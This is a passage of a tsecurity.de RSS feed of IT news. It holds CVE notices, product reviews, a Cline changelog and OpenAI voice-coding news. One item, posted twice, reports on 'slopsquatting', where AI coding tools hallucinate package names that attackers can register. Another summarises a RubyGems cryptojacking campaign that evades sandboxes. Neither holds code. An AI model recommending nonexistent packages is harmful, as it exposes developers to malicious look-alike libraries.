<pubDate>Sat, 25 Jul 2026 04:54:26 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> was found in <a href="https://vuldb.com/product/anthropic:claude_desktop">Anthropic Claude Desktop up to 1.1.3362</a> on Windows. The impacted element is an unknown function in the library <em>profapi.dll</em> of the file <em>Setup.exe</em>. The manipulation results in uncontrolled search path.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2026-22561">CVE-2026-22561</a>. The attack needs to be approached locally. There is no available exploit.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[Last Call for Prime Day: Nab My Favorite 3D Printer for $100 Less, Plus Accessory and Consumables Deals]]></title>
<description><![CDATA[Prime Day and Bambu Lab’s anniversary sale brought tons of deals on top-rated 3D printer models. Here are the ones I recommend.]]></description>
<link>https://tsecurity.de/de/3692451/it-nachrichten/last-call-for-prime-day-nab-my-favorite-3d-printer-for-100-less-plus-accessory-and-consumables-deals/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692451/it-nachrichten/last-call-for-prime-day-nab-my-favorite-3d-printer-for-100-less-plus-accessory-and-consumables-deals/</guid>
<pubDate>Fri, 24 Jul 2026 22:20:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Prime Day and Bambu Lab’s anniversary sale brought tons of deals on top-rated 3D printer models. Here are the ones I recommend.]]></content:encoded>
</item>
<item>
<title><![CDATA[I wanted great filter coffee and espresso without buying two appliances — and 9 months later, the Ninja Prestige DualBrew System is still my absolute favorite for both]]></title>
<description><![CDATA[I love both types of coffee equally, and this all-in-one brewer means I don't have to sacrifice my whole countertop for two separate machines.]]></description>
<link>https://tsecurity.de/de/3692430/it-nachrichten/i-wanted-great-filter-coffee-and-espresso-without-buying-two-appliances-and-9-months-later-the-ninja-prestige-dualbrew-system-is-still-my-absolute-favorite-for-both/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692430/it-nachrichten/i-wanted-great-filter-coffee-and-espresso-without-buying-two-appliances-and-9-months-later-the-ninja-prestige-dualbrew-system-is-still-my-absolute-favorite-for-both/</guid>
<pubDate>Fri, 24 Jul 2026 22:04:59 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I love both types of coffee equally, and this all-in-one brewer means I don't have to sacrifice my whole countertop for two separate machines.]]></content:encoded>
</item>
<item>
<title><![CDATA[The voice actors behind Anakin Skywalker and the Clone Troopers in The Clone Wars are returning for Star Wars Zero Company]]></title>
<description><![CDATA[Bit Reactor has revealed the stacked cast for Star Wars Zero Company, featuring some very familiar, fan-favorite voice actors from The Clone Wars.]]></description>
<link>https://tsecurity.de/de/3692315/it-nachrichten/the-voice-actors-behind-anakin-skywalker-and-the-clone-troopers-in-the-clone-wars-are-returning-for-star-wars-zero-company/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692315/it-nachrichten/the-voice-actors-behind-anakin-skywalker-and-the-clone-troopers-in-the-clone-wars-are-returning-for-star-wars-zero-company/</guid>
<pubDate>Fri, 24 Jul 2026 20:49:51 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Bit Reactor has revealed the stacked cast for Star Wars Zero Company, featuring some very familiar, fan-favorite voice actors from The Clone Wars.]]></content:encoded>
</item>
<item>
<title><![CDATA[This Apple-1 auction expected to cost the winner as much as 275 iPhone 17 Pros]]></title>
<description><![CDATA[A working 1977 Apple-1 expected to garner at least $300,000 leads RR Auction's sprawling sale of rare hardware, prototypes, and Steve Jobs memorabilia from Apple's earliest years.The 'Neumark' Apple-1 - 'Byte Shop'-Style. Image credit: RR AuctionsThe Apple-1 comes from Apple's second batch of 50 ...]]></description>
<link>https://tsecurity.de/de/3692312/ios-mac-os/this-apple-1-auction-expected-to-cost-the-winner-as-much-as-275-iphone-17-pros/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692312/ios-mac-os/this-apple-1-auction-expected-to-cost-the-winner-as-much-as-275-iphone-17-pros/</guid>
<pubDate>Fri, 24 Jul 2026 20:48:38 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A working 1977 Apple-1 expected to garner at least $300,000 leads RR Auction's sprawling sale of rare hardware, prototypes, and <a href="https://appleinsider.com/inside/steve-jobs" title="Steve Jobs" data-kpt="1">Steve Jobs</a> memorabilia from Apple's earliest years.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68357-144067-1039C832-5BB1-46DA-9996-DF1ACC1FE9B1-xl.jpg" alt="Open suitcase containing a vintage portable computer setup with a builtin keyboard and cassette recorder, shown on a plain white background." height="738"><span>The 'Neumark' Apple-1 - 'Byte Shop'-Style. Image credit: RR Auctions</span></div><br>The <a href="https://appleinsider.com/articles/25/07/29/rare-apple-memorabilia-macs-more-up-for-auction-ending-august-21" data-kpt="1">Apple-1</a> comes from Apple's second batch of 50 machines, according to the auction house. Known as the <a href="https://www.rrauction.com/auctions/lot-detail/351632707484040-apple-1-computer-the-neumark-apple-1-byte-shop-style-in-a-unique-smith-corona-typewriter-case-with-original-documentation-sold-internationally-in-1977/" data-kpt="1">"Neumark" computer</a>, it sits inside a modified Smith-Corona typewriter case and was restored to working condition by Apple-1 specialist Corey Cohen in June 2026.<br><br>Apple sold the Apple-1 as an assembled circuit board rather than a complete consumer computer, so buyers had to add the other components and an enclosure themselves. The Neumark machine stands out because it still works inside the suitcase. The auction also includes surviving documentation.<br><br>RR Auction's estimates aren't guarantees of what buyers will pay. Final prices will depend on how much competition each lot attracts before the sale closes.<br><br><br> <a href="https://appleinsider.com/articles/26/07/24/this-apple-1-auction-expected-to-cost-the-winner-as-much-as-275-iphone-17-pros?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245057?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[I fixed my home office's spotty Wi-Fi with Samsung's free diagnostic tool - and it took just minutes]]></title>
<description><![CDATA[A recent uptick in lag and disconnects led me to reevaluate my home office setup. Here's how I validated my solution.]]></description>
<link>https://tsecurity.de/de/3692036/hacking/i-fixed-my-home-offices-spotty-wi-fi-with-samsungs-free-diagnostic-tool-and-it-took-just-minutes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692036/hacking/i-fixed-my-home-offices-spotty-wi-fi-with-samsungs-free-diagnostic-tool-and-it-took-just-minutes/</guid>
<pubDate>Fri, 24 Jul 2026 18:29:19 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A recent uptick in lag and disconnects led me to reevaluate my home office setup. Here's how I validated my solution.]]></content:encoded>
</item>
<item>
<title><![CDATA[I’ve been gaming for 40 years. Here are the best chairs in the UK for comfort, support and serious play]]></title>
<description><![CDATA[Whether you’re on PC or a console, level up your setup with our gaming expert’s pick of the best chairs• The best games of 2026 so farComfort is crucial to the gaming experience. It’s hard to focus on blasting aliens or taking Stoke to the Champions League final if your bum has gone to sleep beca...]]></description>
<link>https://tsecurity.de/de/3691779/it-nachrichten/ive-been-gaming-for-40-years-here-are-the-best-chairs-in-the-uk-for-comfort-support-and-serious-play/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691779/it-nachrichten/ive-been-gaming-for-40-years-here-are-the-best-chairs-in-the-uk-for-comfort-support-and-serious-play/</guid>
<pubDate>Fri, 24 Jul 2026 16:21:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Whether you’re on PC or a console, level up your setup with our gaming expert’s pick of the best chairs</p><p>• <a href="https://www.theguardian.com/culture/ng-interactive/2026/jun/11/the-best-games-of-2026-so-far"><strong>The best games of 2026 so far</strong></a></p><p>Comfort is crucial to the gaming experience. It’s hard to focus on blasting aliens or taking Stoke to the Champions League final if your bum has gone to sleep because you’ve been sitting on an old chair for three hours. We’re spending <a href="https://www.nytimes.com/2025/10/03/upshot/video-games-boys-young-men.html">more time playing games than ever before</a>, so good posture matters. If you have set up a dedicated gaming space, then a rickety seat just won’t cut it.</p><p>From luxurious ergonomic thrones to cheap-and-cheerful bucket seats, the options available are bewildering. So I set out on an epic quest: to find the most comfortable, durable and stylish gaming chairs. Here’s what I discovered.</p><p><strong>Best gaming chair overall:</strong><br>
 Secretlab Titan Evo</p><p><strong>Best budget gaming chair:</strong><br>
 ThunderX3 Solo 360</p> <a href="https://www.theguardian.com/thefilter/2026/jul/24/best-gaming-chairs-tested-uk">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Glorious GMMK 3 PRO HE Wireless Keyboard im Test: Der Ferrari unter den kabellosen Tastaturen]]></title>
<description><![CDATA[Seitdem ich mit macOS unterwegs bin und sowohl privat als auch beruflich ein MacBook verwende, setze ich beim stationären Arbeiten am Schreibtisch auf einen externen Monitor sowie kabellose Bluetooth-Mäuse und -Tastaturen für ein besonders flexibles Setup. Bei den Tastaturen war es lange Zeit das...]]></description>
<link>https://tsecurity.de/de/3691647/ios-mac-os/glorious-gmmk-3-pro-he-wireless-keyboard-im-test-der-ferrari-unter-den-kabellosen-tastaturen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691647/ios-mac-os/glorious-gmmk-3-pro-he-wireless-keyboard-im-test-der-ferrari-unter-den-kabellosen-tastaturen/</guid>
<pubDate>Fri, 24 Jul 2026 15:13:00 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Seitdem ich mit macOS unterwegs bin und sowohl privat als auch beruflich ein MacBook verwende, setze ich beim stationären Arbeiten am Schreibtisch auf einen externen Monitor sowie kabellose Bluetooth-Mäuse und -Tastaturen für ein besonders flexibles Setup. Bei den Tastaturen war es lange Zeit das Magic Keyboard von Apple, ehe ich mich auch aus ästhetischen Gründen […]</p>
<p>Der Beitrag <a href="https://www.appgefahren.de/glorious-gmmk-3-pro-he-wireless-keyboard-im-test-der-ferrari-unter-den-kabellosen-tastaturen-402830.html">Glorious GMMK 3 PRO HE Wireless Keyboard im Test: Der Ferrari unter den kabellosen Tastaturen</a> erschien zuerst auf <a href="https://www.appgefahren.de/">appgefahren.de</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Top AIs invent same fake PyPl and npm package names]]></title>
<description><![CDATA[Enterprise software developers continue to be in danger of falling victim to slopsquatting, where AI coding tools hallucinate the existence of nonexistent libraries and hackers create malicious packages in response.



The top AI coding tools are remarkably consistent in their hallucinations: Res...]]></description>
<link>https://tsecurity.de/de/3691314/it-security-nachrichten/top-ais-invent-same-fake-pypl-and-npm-package-names/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691314/it-security-nachrichten/top-ais-invent-same-fake-pypl-and-npm-package-names/</guid>
<pubDate>Fri, 24 Jul 2026 12:56:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Enterprise software developers continue to be in danger of falling victim to slopsquatting, where AI coding tools hallucinate the existence of nonexistent libraries and hackers create malicious packages in response.</p>



<p class="wp-block-paragraph">The top AI coding tools are remarkably consistent in their hallucinations: Researcher Aleksandr Churilov found the same 127 fake package names generated by five different LLMs.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/3961304/ai-hallucinations-lead-to-new-cyber-threat-slopsquatting.html">Slopsquatting is a relatively new form of malware attack</a> that involves the creation of malicious packages in response to the hallucinations of AI coding tools, causing the malicious packages to be incorporated into legitimate applications.</p>



<p class="wp-block-paragraph">Churilov set out his findings in a research paper, <a href="https://arxiv.org/abs/2605.17062" target="_blank" rel="noreferrer noopener">The Range Shrinks, the Threat Remains: Re-evaluating LLM Package Hallucinations on the 2026 Frontier-Model Cohort</a>, which is yet to be peer-reviewed. He found 127 hallucinated package names were shared across Claude Sonnet 4.6, Claude Haiku 4.5, GPT-5.4-mini, Gemini 2.5 Pro, and DeepSeek V3.2.</p>



<p class="wp-block-paragraph"> As of April this year, 53 of those names — 41 on the PyPI software repository and 12 on npm —are still available for registration.</p>



<p class="wp-block-paragraph">According to the study, there are two reasons for this amount of conformity in the output of the models. First, models may learn the same incorrect package references from shared public training material, such as tutorials and documentation.</p>



<p class="wp-block-paragraph">Second, they may independently extrapolate plausible names from ecosystem conventions. In this way, they could produce names that look correct, even if they don’t actually exist.</p>



<p class="wp-block-paragraph">While Churilov’s research will worry CISOs and security-conscious developers, there is some relief. The research has not yet found any evidence that any of the remaining 53 names have been registered maliciously, nor used in an attack.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4200884/top-ais-invent-same-fake-pypl-and-npm-package-names.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Top AIs invent same fake PyPl and npm package names]]></title>
<description><![CDATA[Enterprise software developers continue to be in danger of falling victim to slopsquatting, where AI coding tools hallucinate the existence of nonexistent libraries and hackers create malicious packages in response.



The top AI coding tools are remarkably consistent in their hallucinations: Res...]]></description>
<link>https://tsecurity.de/de/3691310/ai-nachrichten/top-ais-invent-same-fake-pypl-and-npm-package-names/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691310/ai-nachrichten/top-ais-invent-same-fake-pypl-and-npm-package-names/</guid>
<pubDate>Fri, 24 Jul 2026 12:51:25 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Enterprise software developers continue to be in danger of falling victim to slopsquatting, where AI coding tools hallucinate the existence of nonexistent libraries and hackers create malicious packages in response.</p>



<p class="wp-block-paragraph">The top AI coding tools are remarkably consistent in their hallucinations: Researcher Aleksandr Churilov found the same 127 fake package names generated by five different LLMs.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/3961304/ai-hallucinations-lead-to-new-cyber-threat-slopsquatting.html">Slopsquatting is a relatively new form of malware attack</a> that involves the creation of malicious packages in response to the hallucinations of AI coding tools, causing the malicious packages to be incorporated into legitimate applications.</p>



<p class="wp-block-paragraph">Churilov set out his findings in a research paper, <a href="https://arxiv.org/abs/2605.17062" target="_blank" rel="noreferrer noopener">The Range Shrinks, the Threat Remains: Re-evaluating LLM Package Hallucinations on the 2026 Frontier-Model Cohort</a>, which is yet to be peer-reviewed. He found 127 hallucinated package names were shared across Claude Sonnet 4.6, Claude Haiku 4.5, GPT-5.4-mini, Gemini 2.5 Pro, and DeepSeek V3.2.</p>



<p class="wp-block-paragraph"> As of April this year, 53 of those names — 41 on the PyPI software repository and 12 on npm —are still available for registration.</p>



<p class="wp-block-paragraph">According to the study, there are two reasons for this amount of conformity in the output of the models. First, models may learn the same incorrect package references from shared public training material, such as tutorials and documentation.</p>



<p class="wp-block-paragraph">Second, they may independently extrapolate plausible names from ecosystem conventions. In this way, they could produce names that look correct, even if they don’t actually exist.</p>



<p class="wp-block-paragraph">While Churilov’s research will worry CISOs and security-conscious developers, there is some relief. The research has not yet found any evidence that any of the remaining 53 names have been registered maliciously, nor used in an attack.</p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Some of Our Favorite Brain-Boosting Toys for Kids of All Ages]]></title>
<description><![CDATA[From musical instruments and games to play pieces that encourage balance and dexterity, these toys will engage your child’s mind and body.]]></description>
<link>https://tsecurity.de/de/3691309/it-nachrichten/some-of-our-favorite-brain-boosting-toys-for-kids-of-all-ages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691309/it-nachrichten/some-of-our-favorite-brain-boosting-toys-for-kids-of-all-ages/</guid>
<pubDate>Fri, 24 Jul 2026 12:50:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[From musical instruments and games to play pieces that encourage balance and dexterity, these toys will engage your child’s mind and body.]]></content:encoded>
</item>
<item>
<title><![CDATA[Glaze AI: Glaze-Apps können nun native KI-Unterstützung bieten – ohne Setup & API-Schlüssel]]></title>
<description><![CDATA[Erst zum Anfang des Monats hat das Raycast-Team sein Portfolio um die Vibe-Coding-App Glaze aufgestockt. Nutzer können beschreiben, was sie gerne von der App benötigen, und...Zum Beitrag: Glaze AI: Glaze-Apps können nun native KI-Unterstützung bieten – ohne Setup & API-Schlüssel

Wo du uns folgen...]]></description>
<link>https://tsecurity.de/de/3691196/it-nachrichten/glaze-ai-glaze-apps-koennen-nun-native-ki-unterstuetzung-bieten-ohne-setup-api-schluessel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691196/it-nachrichten/glaze-ai-glaze-apps-koennen-nun-native-ki-unterstuetzung-bieten-ohne-setup-api-schluessel/</guid>
<pubDate>Fri, 24 Jul 2026 11:49:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Erst zum Anfang des Monats hat das Raycast-Team sein Portfolio um die Vibe-Coding-App Glaze aufgestockt. Nutzer können beschreiben, was sie gerne von der App benötigen, und...<p>Zum Beitrag: <a href="https://stadt-bremerhaven.de/glaze-ai-glaze-apps-koennen-nun-native-ki-unterstuetzung-bieten-ohne-setup-api-schluessel/">Glaze AI: Glaze-Apps können nun native KI-Unterstützung bieten – ohne Setup &amp; API-Schlüssel</a>
</p><p>
Wo du uns folgen kannst:
<a href="http://www.facebook.com/CaschysBlog">Facebook</a>, <a href="https://www.reddit.com/r/CaschysBlog/">Reddit</a>, <a href="https://news.google.com/publications/CAAqMQgKIitDQklTR2dnTWFoWUtGSE4wWVdSMExXSnlaVzFsY21oaGRtVnVMbVJsS0FBUAE?ceid=DE:de&amp;oc=3">Google News</a>, <a href="https://x.com/CaschysBlog">X</a>, <a href="https://www.threads.com/@caschysblog">Threads</a>
<br>
</p><div>
    <strong>Auf dem Laufenden bleiben?</strong>
    <br>
    <a href="https://www.google.com/preferences/source?q=stadt-bremerhaven.de">Fügt uns doch bei Google als bevorzugte Quelle hinzu!</a>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Malicious RubyGems Wait Five Hours and Detect Sandboxes Before Starting Monero Mining]]></title>
<description><![CDATA[Security researchers Moe Ghasemisharif, Ruian Duan, Zhanhao Chen, and Daiping Liu have uncovered a RubyGems cryptojacking campaign that distributed trojanized copies of popular Ruby libraries. The malicious packages delay execution for five hours, check for sandboxed environments, and then deploy...]]></description>
<link>https://tsecurity.de/de/3690815/it-security-nachrichten/malicious-rubygems-wait-five-hours-and-detect-sandboxes-before-starting-monero-mining/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690815/it-security-nachrichten/malicious-rubygems-wait-five-hours-and-detect-sandboxes-before-starting-monero-mining/</guid>
<pubDate>Fri, 24 Jul 2026 08:26:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Security researchers Moe Ghasemisharif, Ruian Duan, Zhanhao Chen, and Daiping Liu have uncovered a RubyGems cryptojacking campaign that distributed trojanized copies of popular Ruby libraries. The malicious packages delay execution for five hours, check for sandboxed environments, and then deploy the XMRig miner to secretly mine Monero on compromised systems. The campaign involves at least […]</p>
<p>The post <a href="https://cyberpress.org/rubygems-evade-sandboxes-mine-monero/">Malicious RubyGems Wait Five Hours and Detect Sandboxes Before Starting Monero Mining</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Desktop v0.0.4]]></title>
<description><![CDATA[Start chatting without opening a project folder — the app now supports workspace-free chat sessions.
New first-run onboarding flow to get you set up on launch.
Drag and drop files directly onto the chat to attach them.
Image attachments now display inline in the chat transcript.
Schedule one-time...]]></description>
<link>https://tsecurity.de/de/3690551/downloads/desktop-v004/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690551/downloads/desktop-v004/</guid>
<pubDate>Fri, 24 Jul 2026 04:02:06 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Start chatting without opening a project folder — the app now supports workspace-free chat sessions.</li>
<li>New first-run onboarding flow to get you set up on launch.</li>
<li>Drag and drop files directly onto the chat to attach them.</li>
<li>Image attachments now display inline in the chat transcript.</li>
<li>Schedule one-time routines (not just recurring ones), with navigation to jump to a routine's run.</li>
<li>New custom overlay title bar with in-app navigation.</li>
<li>Redesigned channel setup as expandable cards.</li>
<li>Added a setting to replay the new-user experience.</li>
<li>Cleaner chat markdown rendering, and external links now open correctly in your browser.</li>
<li>Agent sessions now use agentic compaction by default, keeping long conversations within context more intelligently.</li>
<li>Fixed the agent not finding <code>gh</code> and other CLI tools by resolving your login shell's PATH.</li>
<li>Headless routines now default to YOLO mode so they can run unattended.</li>
<li>Fixed request metering for the SAP AI Core provider.</li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/cline/cline/compare/desktop-v0.0.3...desktop-v0.0.4"><tt>desktop-v0.0.3...desktop-v0.0.4</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-47027 | Oracle Java SE up to 26.0.1 Libraries resource consumption (Nessus ID 329234)]]></title>
<description><![CDATA[A vulnerability labeled as problematic has been found in Oracle Java SE up to 26.0.1. Affected by this issue is some unknown functionality of the component Libraries. Executing a manipulation can lead to resource consumption.

This vulnerability appears as CVE-2026-47027. The attack may be perfor...]]></description>
<link>https://tsecurity.de/de/3690541/sicherheitsluecken/cve-2026-47027-oracle-java-se-up-to-2601-libraries-resource-consumption-nessus-id-329234/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690541/sicherheitsluecken/cve-2026-47027-oracle-java-se-up-to-2601-libraries-resource-consumption-nessus-id-329234/</guid>
<pubDate>Fri, 24 Jul 2026 03:46:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/oracle:java_se">Oracle Java SE up to 26.0.1</a>. Affected by this issue is some unknown functionality of the component <em>Libraries</em>. Executing a manipulation can lead to resource consumption.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2026-47027">CVE-2026-47027</a>. The attack may be performed from remote. There is no available exploit.]]></content:encoded>
</item>
<item>
<title><![CDATA[My FanCam Is My Favorite New AI Feature – Because It Doesn’t Generate Anything]]></title>
<description><![CDATA[Samsung’s new Galaxy AI feature is fun because it’s not rewriting reality.]]></description>
<link>https://tsecurity.de/de/3690441/it-nachrichten/my-fancam-is-my-favorite-new-ai-feature-because-it-doesnt-generate-anything/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690441/it-nachrichten/my-fancam-is-my-favorite-new-ai-feature-because-it-doesnt-generate-anything/</guid>
<pubDate>Fri, 24 Jul 2026 01:34:16 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Samsung’s new Galaxy AI feature is fun because it’s not rewriting reality.]]></content:encoded>
</item>
<item>
<title><![CDATA[Niri could redefine tiling window management]]></title>
<description><![CDATA[I’m a big fan of an efficient window handling. There are many different philosophies out there on how to do it from the traditional master plus stack window managers to zone based window snapping tools to some auto tiling solution that lives somewhere between those.  Then there is Niri. For anyon...]]></description>
<link>https://tsecurity.de/de/3690397/linux-tipps/niri-could-redefine-tiling-window-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690397/linux-tipps/niri-could-redefine-tiling-window-management/</guid>
<pubDate>Fri, 24 Jul 2026 00:45:49 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I’m a big fan of an efficient window handling. There are many different philosophies out there on how to do it from the traditional master plus stack window managers to zone based window snapping tools to some auto tiling solution that lives somewhere between those. </p> <p>Then there is Niri. For anyone who may not know, Niri is a Wayland compositor that takes a new approach to window tiling. By default, it opens windows at 50% of your screen width and tiles them infinitely to the right, allowing you to scroll focus on them by pressing super + arrow keys. Of course you can stack them, rearrange them, toggle full screen, force focused window to take up all remaining space on screen, and it boasts vertical workspaces. </p> <p>I have been using Niri with Dank Material Shell (DMS) for the last month and now I am not sure I could ever go back to the traditional master + stacked window tiling philosophy. I just tried and it feels awkward, limiting, and cluttered. It even beats more full featured desktop environment tiling options in Gnome and KDE in my opinion because I don’t have to alt + tab to find the window I want to focus on. </p> <p>If you haven’t given it a try, you should. I didn’t think I would like it very much, but I got used to it after a few days, kept it for a couple of weeks, and now it has become my favorite way to work. </p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/kylerjohnsondev"> /u/kylerjohnsondev </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v4t3gu/niri_could_redefine_tiling_window_management/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v4t3gu/niri_could_redefine_tiling_window_management/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[My FanCam Is My Favorite New AI Feature – Because It Doesn’t Generate Anything]]></title>
<description><![CDATA[Samsung’s new Galaxy AI feature is fun because it’s not rewriting reality.]]></description>
<link>https://tsecurity.de/de/3690367/it-nachrichten/my-fancam-is-my-favorite-new-ai-feature-because-it-doesnt-generate-anything/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690367/it-nachrichten/my-fancam-is-my-favorite-new-ai-feature-because-it-doesnt-generate-anything/</guid>
<pubDate>Fri, 24 Jul 2026 00:36:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Samsung’s new Galaxy AI feature is fun because it’s not rewriting reality.]]></content:encoded>
</item>
<item>
<title><![CDATA[My favorite music streaming site just got a big update that makes me even happier I quit Spotify six months ago]]></title>
<description><![CDATA[The high-res audio streaming service Qobuz has got an app upgrade that makes it much easier to use. Here's what's changed.]]></description>
<link>https://tsecurity.de/de/3690366/it-nachrichten/my-favorite-music-streaming-site-just-got-a-big-update-that-makes-me-even-happier-i-quit-spotify-six-months-ago/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690366/it-nachrichten/my-favorite-music-streaming-site-just-got-a-big-update-that-makes-me-even-happier-i-quit-spotify-six-months-ago/</guid>
<pubDate>Fri, 24 Jul 2026 00:36:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The high-res audio streaming service Qobuz has got an app upgrade that makes it much easier to use. Here's what's changed.]]></content:encoded>
</item>
<item>
<title><![CDATA[Agentic coding goes hands free as OpenAI brings GPT-Live's full duplex voice control to Codex and ChatGPT on the desktop]]></title>
<description><![CDATA[Two weeks after debuting its more naturalistic GPT-Live audio AI model with full-duplex capabilities (listening and speaking at the same time), OpenAI is bringing it directly into developer workflows. The company announced that GPT-Live now powers the ChatGPT desktop application on macOS and Wind...]]></description>
<link>https://tsecurity.de/de/3690348/it-nachrichten/agentic-coding-goes-hands-free-as-openai-brings-gpt-lives-full-duplex-voice-control-to-codex-and-chatgpt-on-the-desktop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690348/it-nachrichten/agentic-coding-goes-hands-free-as-openai-brings-gpt-lives-full-duplex-voice-control-to-codex-and-chatgpt-on-the-desktop/</guid>
<pubDate>Fri, 24 Jul 2026 00:20:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Two weeks after debuting its <a href="https://venturebeat.com/technology/openai-launches-gpt-live-a-full-duplex-voice-upgrade-that-lets-chatgpt-talk-more-like-a-person">more naturalistic GPT-Live audio AI model</a> with full-duplex capabilities (listening and speaking at the same time), OpenAI is bringing it directly into developer workflows. </p><p>The company announced that <a href="https://x.com/OpenAI/status/2080378182469857576">GPT-Live now powers the ChatGPT desktop application</a> on macOS and Windows, integrating directly with agentic systems like Codex and ChatGPT Work (which are separate experiences available in the ChatGPT desktop app). </p><p>When OpenAI initially launched GPT-Live on July 8, 2026, it introduced a continuous audio model capable of listening and speaking simultaneously—eliminating rigid turn-taking while delegating complex reasoning to background models like GPT-5.5. </p><p>Today's release expands that conversational layer to technical tasks, enabling software engineers to orchestrate multi-threaded coding jobs, review pull requests, and debug applications using natural voice commands.</p><p>As such, it could usher in a new era of "hands free" software development and even live, in-person group coding parties for <a href="https://openai.com/index/codex-for-knowledge-work/">Codex's more than 5 million weekly active users</a>. Codex, of course, is the name given to OpenAI's models and harness focused on coding, but which the company has this year expanded into a more <a href="https://venturebeat.com/technology/openai-drastically-updates-codex-desktop-app-to-use-all-other-apps-on-your-computer-generate-images-preview-webpages">general productivity platform. 